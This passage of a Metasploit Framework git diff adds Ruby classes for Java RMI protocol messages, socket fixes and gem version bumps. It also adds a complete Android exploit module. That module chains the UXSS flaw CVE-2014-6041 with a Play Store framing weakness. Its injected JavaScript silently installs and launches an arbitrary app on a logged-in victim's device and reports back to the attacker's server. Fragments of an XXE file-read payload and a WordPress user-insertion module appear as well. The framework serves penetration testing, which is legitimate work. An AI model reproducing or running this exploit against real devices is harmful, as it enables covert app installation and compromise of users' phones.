address + # @return [String] the end point address + attr_accessor :address + # @!attribute port + # @return [Fixnum] the end point port + attr_accessor :port + + private + + # Reads the end point identifier address length from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_length(io) + length = read_short(io) + + length + end + + # Reads the end point address from the IO + # + # @param io [IO] the IO to read from + # @return [String] + def decode_address(io) + version = read_string(io, length) + + version + end + + # Reads the end point port from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_port(io) + port = read_int(io) + + port + end + + # Encodes the length field + # + # @return [String] + def encode_length + [length].pack('n') + end + + # Encodes the address field + # + # @return [String] + def encode_address + address + end + + # Encodes the port field + # + # @return [String] + def encode_port + [port].pack('N') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/dgc_ack.rb b/lib/rex/proto/rmi/model/dgc_ack.rb new file mode 100644 index 0000000000..ab1eee9889 --- /dev/null +++ b/lib/rex/proto/rmi/model/dgc_ack.rb @@ -0,0 +1,62 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI DbgACK stream. It is an acknowledgement + # directed to a server's distributed garbage collector that indicates that remote objects + # in a return value from a server have been received by the client. + class DgcAck < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + # @!attribute unique_identifier + # @return [String] the unique identifier + attr_accessor :unique_identifier + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == DGC_ACK_MESSAGE + raise ::RuntimeError, 'Failed to decode DgcAck stream id' + end + + stream_id + end + + # Reads the unique identifier from the IO + # + # @param io [IO] the IO to read from + # @return [String] + def decode_unique_identifier(io) + unique_identifier = read_string(io, 14) + + unique_identifier + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + + # Encodes the unique_identifier field + # + # @return [String] + def encode_unique_identifier + unique_identifier + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/element.rb b/lib/rex/proto/rmi/model/element.rb new file mode 100644 index 0000000000..60a6bbf481 --- /dev/null +++ b/lib/rex/proto/rmi/model/element.rb @@ -0,0 +1,143 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + class Element + + include Rex::Proto::Rmi::Model + + def self.attr_accessor(*vars) + @attributes ||= [] + @attributes.concat vars + super(*vars) + end + + # Retrieves the element class fields + # + # @return [Array] + def self.attributes + @attributes + end + + # Creates a Rex::Proto::Rmi::Model::Element with data from the IO. + # + # @param io [IO] the IO to read data from + # @return [Rex::Proto::Rmi::Model::Element] + def self.decode(io) + elem = self.new + elem.decode(io) + + elem + end + + def initialize(options = {}) + self.class.attributes.each do |attr| + if options.has_key?(attr) + m = (attr.to_s + '=').to_sym + self.send(m, options[attr]) + end + end + end + + # Retrieves the element instance fields + # + # @return [Array] + def attributes + self.class.attributes + end + + # Decodes the Rex::Proto::Rmi::Model::Element from the input. + # + # @raise [NoMethodError] + # @return [Rex::Proto::Rmi::Model::Element] + def decode(io) + self.class.attributes.each do |attr| + dec_method = ("decode_#{attr}").to_sym + decoded = self.send(dec_method, io) + assign_method = (attr.to_s + '=').to_sym + self.send(assign_method, decoded) + end + + self + end + + # Encodes the Rex::Proto::Rmi::Model::Element into an String. + # + # @raise [NoMethodError] + # @return [String] + def encode + encoded = '' + self.class.attributes.each do |attr| + m = ("encode_#{attr}").to_sym + encoded << self.send(m) if self.send(attr) + end + + encoded + end + + private + + # Reads a byte from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if the byte can't be read from io + def read_byte(io) + raw = io.read(1) + raise ::RuntimeError, 'Failed to read byte' unless raw + + raw.unpack('C')[0] + end + + # Reads a two bytes short from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if the short can't be read from io + def read_short(io) + raw = io.read(2) + + unless raw && raw.length == 2 + raise ::RuntimeError, 'Failed to read short' + end + + raw.unpack('n')[0] + end + + # Reads a four bytes int from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if the int can't be read from io + def read_int(io) + raw = io.read(4) + + unless raw && raw.length == 4 + raise ::RuntimeError, 'Failed to read short' + end + + raw.unpack('N')[0] + end + + # Reads an string from an IO + # + # @param io [IO] the IO to read from + # @param length [Fixnum] the string length + # @return [String] + # @raise [RuntimeError] if the string can't be read from io + def read_string(io, length) + raw = io.read(length) + + unless raw && raw.length == length + raise ::RuntimeError, 'Failed to read string' + end + + raw + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/output_header.rb b/lib/rex/proto/rmi/model/output_header.rb new file mode 100644 index 0000000000..dae28e89b6 --- /dev/null +++ b/lib/rex/proto/rmi/model/output_header.rb @@ -0,0 +1,86 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI output stream header + class OutputHeader < Element + + # @!attribute signature + # @return [String] the Java RMI header signature + attr_accessor :signature + # @!attribute version + # @return [Fixnum] the Java RMI version + attr_accessor :version + # @!attribute protocol + # @return [Fixnum] the protocol where the the messages are wrapped within + attr_accessor :protocol + + private + + # Reads the signature from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode signature + def decode_signature(io) + signature = read_string(io, 4) + unless signature == SIGNATURE + raise ::RuntimeError, 'Failed to decode OutputHeader signature' + end + + signature + end + + # Reads the version from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_version(io) + version = read_short(io) + + version + end + + # Reads the protocol from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if fails to decode the protocol + def decode_protocol(io) + valid_protocols = [STREAM_PROTOCOL, SINGLE_OP_PROTOCOL, MULTIPLEX_PROTOCOL] + protocol = read_byte(io) + + unless valid_protocols.include?(protocol) + raise ::RuntimeError, 'Failed to decode OutputHeader protocol' + end + + protocol + end + + # Encodes the signature field + # + # @return [String] + def encode_signature + signature + end + + # Encodes the version field + # + # @return [String] + def encode_version + [version].pack('n') + end + + # Encodes the protocol field + # + # @return [String] + def encode_protocol + [protocol].pack('C') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/ping.rb b/lib/rex/proto/rmi/model/ping.rb new file mode 100644 index 0000000000..c0406b3ae2 --- /dev/null +++ b/lib/rex/proto/rmi/model/ping.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI Ping stream. A Ping is a message for testing + # livereness of a remote virtual machine. + class Ping < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == PING_MESSAGE + raise ::RuntimeError, 'Failed to decode Ping stream id' + end + + stream_id + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/ping_ack.rb b/lib/rex/proto/rmi/model/ping_ack.rb new file mode 100644 index 0000000000..db0131b42a --- /dev/null +++ b/lib/rex/proto/rmi/model/ping_ack.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI PingAck stream. A PingAck is the acknowledgement + # for a Ping message. + class PingAck < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == PING_ACK + raise ::RuntimeError, 'Failed to decode PingAck stream id' + end + + stream_id + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/protocol_ack.rb b/lib/rex/proto/rmi/model/protocol_ack.rb new file mode 100644 index 0000000000..52a48506be --- /dev/null +++ b/lib/rex/proto/rmi/model/protocol_ack.rb @@ -0,0 +1,100 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI protocol ack input stream + class ProtocolAck < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + # @!attribute length + # @return [Fixnum] the end point address length + attr_accessor :length + # @!attribute address + # @return [String] the end point address + attr_accessor :address + # @!attribute port + # @return [Fixnum] the end point port + attr_accessor :port + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == PROTOCOL_ACK + raise ::RuntimeError, 'Failed to decode ProtocolAck stream id' + end + + stream_id + end + + # Reads the end point identifier address length from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_length(io) + length = read_short(io) + + length + end + + # Reads the end point address from the IO + # + # @param io [IO] the IO to read from + # @return [String] + def decode_address(io) + version = read_string(io, length) + + version + end + + # Reads the end point port from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_port(io) + port = read_int(io) + + port + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + + # Encodes the length field + # + # @return [String] + def encode_length + [length].pack('n') + end + + # Encodes the address field + # + # @return [String] + def encode_address + address + end + + # Encodes the port field + # + # @return [String] + def encode_port + [port].pack('N') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/return_data.rb b/lib/rex/proto/rmi/model/return_data.rb new file mode 100644 index 0000000000..fe99d23a6e --- /dev/null +++ b/lib/rex/proto/rmi/model/return_data.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI return data stream + class ReturnData < Element + + # @!attribute stream_id + # @return [Fixnum] the stream id + attr_accessor :stream_id + # @!attribute return value + # @return [Rex::Java::Serialization::Model::Stream] the serialized return data + attr_accessor :return_value + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode the stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == RETURN_DATA + raise ::RuntimeError, 'Failed to decode ReturnData stream id' + end + + stream_id + end + + # Reads and deserializes the return value from the IO + # + # @param io [IO] the IO to read from + # @return [Rex::Java::Serialization::Model::Stream] + def decode_return_value(io) + return_value = Rex::Java::Serialization::Model::Stream.decode(io) + + return_value + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + + # Encodes the return_value field + # + # @return [String] + def encode_return_value + return_value.encode + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/socket.rb b/lib/rex/socket.rb index 1bdf2d0cca..089e02a972 100644 --- a/lib/rex/socket.rb +++ b/lib/rex/socket.rb @@ -732,7 +732,15 @@ module Socket # Return peer connection information. # def getpeername - return Socket.from_sockaddr(super) + peer_name = nil + begin + peer_name = Socket.from_sockaddr(super) + rescue ::Errno::EINVAL => e + # Ruby's getpeername method may call rb_sys_fail("getpeername(2)") + elog("#{e.message} (#{e.class})#{e.backtrace * "\n"}\n", 'core', LEV_3) + end + + return peer_name end # diff --git a/lib/rex/socket/tcp_server.rb b/lib/rex/socket/tcp_server.rb index 5b033cc3d2..ba0b11e5ab 100644 --- a/lib/rex/socket/tcp_server.rb +++ b/lib/rex/socket/tcp_server.rb @@ -56,6 +56,9 @@ module Rex::Socket::TcpServer pn = t.getpeername + # We hit a "getpeername(2)" from Ruby + return nil unless pn + t.peerhost = pn[1] t.peerport = pn[2] end diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec index 8a2baacaad..d6647b2356 100644 --- a/metasploit-framework-db.gemspec +++ b/metasploit-framework-db.gemspec @@ -29,9 +29,9 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION # Metasploit::Credential database models - spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.16' + spec.add_runtime_dependency 'metasploit-credential', '~> 0.14.0' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '~> 0.22.5' + spec.add_runtime_dependency 'metasploit_data_models', '~> 0.23.0' # depend on metasploit-framewrok as the optional gems are useless with the actual code spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" # Needed for module caching in Mdm::ModuleDetails diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 9c140cbf52..4b2fd7850e 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -62,9 +62,9 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'metasploit-concern', '~> 0.3.0' # Things that would normally be part of the database model, but which # are needed when there's no database - spec.add_runtime_dependency 'metasploit-model', '~> 0.28.0' + spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0' # Needed for Meterpreter on Windows, soon others. - spec.add_runtime_dependency 'meterpreter_bins', '0.0.13' + spec.add_runtime_dependency 'meterpreter_bins', '0.0.14' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler diff --git a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb new file mode 100644 index 0000000000..d3aed5b3dc --- /dev/null +++ b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb @@ -0,0 +1,184 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Android Browser RCE Through Google Play Store XFO', + 'Description' => %q{ + This module combines two vulnerabilities to achieve remote code + execution on affected Android devices. First, the module exploits + CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in + versions of Android's open source stock browser (the AOSP Browser) prior to + 4.4. Second, the Google Play store's web interface fails to enforce a + X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be + targeted for script injection. As a result, this leads to remote code execution + through Google Play's remote installation feature, as any application available + on the Google Play store can be installed and launched on the user's device. + + This module requires that the user is logged into Google with a vulnerable browser. + + To list the activities in an APK, you can use `aapt dump badging /path/to/app.apk`. + }, + 'Author' => [ + 'Rafay Baloch', # Original UXSS vulnerability + 'joev' # Play Store vector and Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => [[ 'WebServer' ]], + 'PassiveActions' => [ 'WebServer' ], + 'References' => [ + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041'], + [ 'URL', 'http://1337day.com/exploit/description/22581' ], + [ 'OSVDB', '110664' ], + [ 'CVE', '2014-6041' ] + ], + 'DefaultAction' => 'WebServer' + )) + + register_options([ + OptString.new('PACKAGE_NAME', [ + true, + 'The package name of the app on the Google Play store you want to install', + 'com.swlkr.rickrolld' + ]), + OptString.new('ACTIVITY_NAME', [ + true, + 'The name of the activity in the apk to launch', + 'com.swlkr.rickrolld/.RickRoll' + ]), + OptBool.new('DETECT_LOGIN', [ + true, "Prevents the exploit from running if the user is not logged into Google", true + ]), + OptBool.new('HIDE_IFRAME', [ + true, "Hide the exploit iframe from the user", true + ]) + ], self.class) + end + + def on_request_uri(cli, request) + print_status("Request '#{request.method} #{request.uri}'") + + if request.method.downcase == 'post' + print_error request.body[0..400] + send_response_html(cli, '') + else + print_status("Sending initial HTML ...") + send_response_html(cli, exploit_html) + end + end + + def exploit_html + <<-EOS + <html> + <body> + <script> + + var APP_ID = '#{datastore['PACKAGE_NAME']}'; + var MAIN_ACTIVITY = '#{datastore['ACTIVITY_NAME']}'; + var HIDDEN_STYLE = '#{hidden_css}'; + + function exploit() { + + var src = 'https://play.google.com/store/apps/'+(new Array(2000)).join('aaaaaaa'); + var frame = document.createElement('iframe'); + frame.setAttribute('src', src); + frame.setAttribute('name', 'f'); + frame.setAttribute('style', HIDDEN_STYLE); + function uxss(src) { + window.open('\\u0000javascript:eval(atob("'+ btoa(src) +'"))', 'f'); + } + + var loaded = false; + frame.onload = function() { + if (loaded) return; + loaded = true; + setTimeout(function(){ + uxss('history.replaceState({},{},"/"); x=new XMLHttpRequest;x.open("GET", "/store/apps/details?id='+APP_ID+'");x.onreadystatechange=function(){'+ + 'if(x.readyState==4){ document.open("text/html"); document.write(x.responseText); document.close(); top.postMessage("1", "*") }};x.send();'); + }, 100); + }; + + var i1, i2; + var w = window; + window.onmessage = function(event) { + if (event.data === '1') { + i1 = w.setInterval(function(){ + uxss('document.body.innerHTML.match(/This app is compatible/).length; document.querySelector("button.price").click(); top.postMessage("2", "*");'); + }, 500); + } else if (event.data === '2') { + w.clearInterval(i1); + i2 = setInterval(function(){2 + uxss('document.querySelector("button.play-button.apps.loonie-ok-button").click(); top.postMessage("3", "*");'); + }, 500); + } else if (event.data === '3') { + clearInterval(i2); + setTimeout(function(){ + setInterval(function(){ + frame.src = 'intent:launch#Intent;SEL;component='+MAIN_ACTIVITY+';end'; + }, 500); + }, 1000); + } + } + + document.body.appendChild(frame); + } + + #{detect_login_js} + + </script> + + </body> + </html> + EOS + end + + def detect_login_js + if datastore['DETECT_LOGIN'] + %Q| + var img = document.createElement('img'); + img.onload = exploit; + img.onerror = function() { + var url = '#{backend_url}'; + var x = new XMLHttpRequest(); + x.open('POST', url); + x.send('Exploit failed: user is not logged into google.com') + }; + img.setAttribute('style', HIDDEN_STYLE); + var rand = '&d=#{Rex::Text.rand_text_alphanumeric(rand(12)+5)}'; + img.setAttribute('src', 'https://accounts.google.com/CheckCookie?continue=https%3A%2F%2Fwww.google.com%2Fintl%2Fen%2Fimages%2Flogos%2Faccounts_logo.png'+rand); + document.body.appendChild(img); + | + else + 'exploit();' + end + end + + def hidden_css + if datastore['HIDE_IFRAME'] + 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px;visibility:hidden;' + else + '' + end + end + + def backend_url + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" + end + + def run + exploit + end + +end diff --git a/modules/auxiliary/admin/chromecast/chromecast_youtube.rb b/modules/auxiliary/admin/chromecast/chromecast_youtube.rb index b23b984517..5263d13b1f 100644 --- a/modules/auxiliary/admin/chromecast/chromecast_youtube.rb +++ b/modules/auxiliary/admin/chromecast/chromecast_youtube.rb @@ -49,7 +49,7 @@ class Metasploit4 < Msf::Auxiliary when 201 print_good("Playing https://www.youtube.com/watch?v=#{vid}") when 200 - print_status("Stopping video") + print_status('Stopping video') when 404 print_error("Couldn't #{action.name.downcase} video") end diff --git a/modules/auxiliary/admin/db2/db2rcmd.rb b/modules/auxiliary/admin/db2/db2rcmd.rb index 29794670ca..6f8d5738fb 100644 --- a/modules/auxiliary/admin/db2/db2rcmd.rb +++ b/modules/auxiliary/admin/db2/db2rcmd.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/auxiliary/admin/firetv/firetv_youtube.rb b/modules/auxiliary/admin/firetv/firetv_youtube.rb new file mode 100644 index 0000000000..ffeedd5885 --- /dev/null +++ b/modules/auxiliary/admin/firetv/firetv_youtube.rb @@ -0,0 +1,90 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Amazon Fire TV YouTube Remote Control', + 'Description' => %q{ + This module acts as a simple remote control for the Amazon Fire TV's + YouTube app. + + Tested on the Amazon Fire TV Stick. + }, + 'Author' => ['wvu'], + 'References' => [ + ['URL', 'http://www.amazon.com/dp/B00CX5P8FC?_encoding=UTF8&showFS=1'], + ['URL', 'http://www.amazon.com/dp/B00GDQ0RMG/ref=fs_ftvs'] + ], + 'License' => MSF_LICENSE, + 'Actions' => [ + ['Play', 'Description' => 'Play video'], + ['Stop', 'Description' => 'Stop video'] + ], + 'DefaultAction' => 'Play' + )) + + register_options([ + Opt::RPORT(8008), + OptString.new('VID', [true, 'Video ID', 'HkhSZyYmpO4']) + ]) + end + + def run + case action.name + when 'Play' + stop + sleep(1) + res = play + when 'Stop' + res = stop + end + + return unless res + + case res.code + when 201 + print_good("Playing https://www.youtube.com/watch?v=#{datastore['VID']}") + when 200 + print_status('Stopping video') + when 404 + print_error("Couldn't #{action.name.downcase} video") + end + end + + def play + begin + send_request_cgi( + 'method' => 'POST', + 'uri' => '/apps/YouTube', + 'ctype' => 'text/plain', + 'vars_post' => { + 'v' => datastore['VID'] + } + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable => e + fail_with(Failure::Unreachable, e) + end + end + + def stop + begin + send_request_raw( + 'method' => 'DELETE', + 'uri' => '/apps/YouTube/run' + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable => e + fail_with(Failure::Unreachable, e) + end + end + +end diff --git a/modules/auxiliary/admin/http/manageengine_dir_listing.rb b/modules/auxiliary/admin/http/manageengine_dir_listing.rb index b58e182561..03099e68f2 100644 --- a/modules/auxiliary/admin/http/manageengine_dir_listing.rb +++ b/modules/auxiliary/admin/http/manageengine_dir_listing.rb @@ -22,9 +22,9 @@ class Metasploit3 < Msf::Auxiliary using the default credentials for the administrator and guest accounts; alternatively you can provide a pre-authenticated cookie or a username / password combo. For IT360 targets enter the RPORT of the OpManager instance (usually 8300). This module has been - tested on both Windows and Linux with several different versions Windows paths have to + tested on both Windows and Linux with several different versions. Windows paths have to be escaped with 4 backslashes on the command line. There is a companion module that - allows you to download an arbitrary file. This vulnerability has been fixed in Applications + allows for arbitrary file download. This vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6. }, 'Author' => diff --git a/modules/auxiliary/admin/http/manageengine_file_download.rb b/modules/auxiliary/admin/http/manageengine_file_download.rb index 08e0c0205a..bc15d3d47d 100644 --- a/modules/auxiliary/admin/http/manageengine_file_download.rb +++ b/modules/auxiliary/admin/http/manageengine_file_download.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually 8300). This module has been tested on both Windows and Linux with several different versions. Windows paths have to be escaped with 4 backslashes on the command line. There is - a companion module that allows you to list the contents of any directory recursively. This + a companion module that allows the recursive listing of any directory. This vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6. }, 'Author' => diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index 90b921aae4..c55a974bc0 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -74,7 +74,7 @@ class Metasploit4 < Msf::Auxiliary xml = '<!DOCTYPE foo [' xml << '<!ELEMENT host ANY>' - xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">' + xml << %Q{<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">} xml << ']>' xml << '<SiteSaveRequest session-id="' diff --git a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb index 00693ad9f7..75bf278687 100644 --- a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb +++ b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary def get_table_prefix res = send_request_cgi({ - 'uri' => normalize_uri(wordpress_url_backend, 'admin-post.php'), + 'uri' => wordpress_url_admin_post, 'method' => 'POST', 'vars_post' => { 'ccf_export' => "1" @@ -81,10 +81,9 @@ class Metasploit3 < Msf::Auxiliary post_data = data.to_s print_status("#{peer} - Inserting user #{username} with password #{password}") - uri = normalize_uri(wordpress_url_backend, 'admin-post.php') res = send_request_cgi( 'method' => 'POST', - 'uri' => uri, + 'uri' => wordpress_url_admin_post, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data ) diff --git a/modules/auxiliary/admin/smb/check_dir_file.rb b/modules/auxiliary/admin/smb/check_dir_file.rb index 4003986145..3f85ac29ef 100644 --- a/modules/auxiliary/admin/smb/check_dir_file.rb +++ b/modules/auxiliary/admin/smb/check_dir_file.rb @@ -10,8 +10,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb index 7557d237e5..fa10e76987 100644 --- a/modules/auxiliary/admin/smb/delete_file.rb +++ b/modules/auxiliary/admin/smb/delete_file.rb @@ -8,8 +8,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index 9a12f2e407..251e3f130e 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -8,8 +8,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/admin/smb/list_directory.rb b/modules/auxiliary/admin/smb/list_directory.rb index 097cb2d0e0..53e52f66e8 100644 --- a/modules/auxiliary/admin/smb/list_directory.rb +++ b/modules/auxiliary/admin/smb/list_directory.rb @@ -9,7 +9,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 8a0ea4daeb..063a2265a3 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB::Psexec + include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb index 01a40c53fe..3d04f59a74 100644 --- a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb +++ b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB::Psexec + include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb index 968fe1cbc6..e0c7b914b6 100644 --- a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb +++ b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb @@ -10,7 +10,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/admin/smb/upload_file.rb b/modules/auxiliary/admin/smb/upload_file.rb index d8accb7813..06085c7874 100644 --- a/modules/auxiliary/admin/smb/upload_file.rb +++ b/modules/auxiliary/admin/smb/upload_file.rb @@ -10,7 +10,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb index 3c6857deed..64c2767ed5 100644 --- a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb +++ b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb @@ -10,7 +10,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include 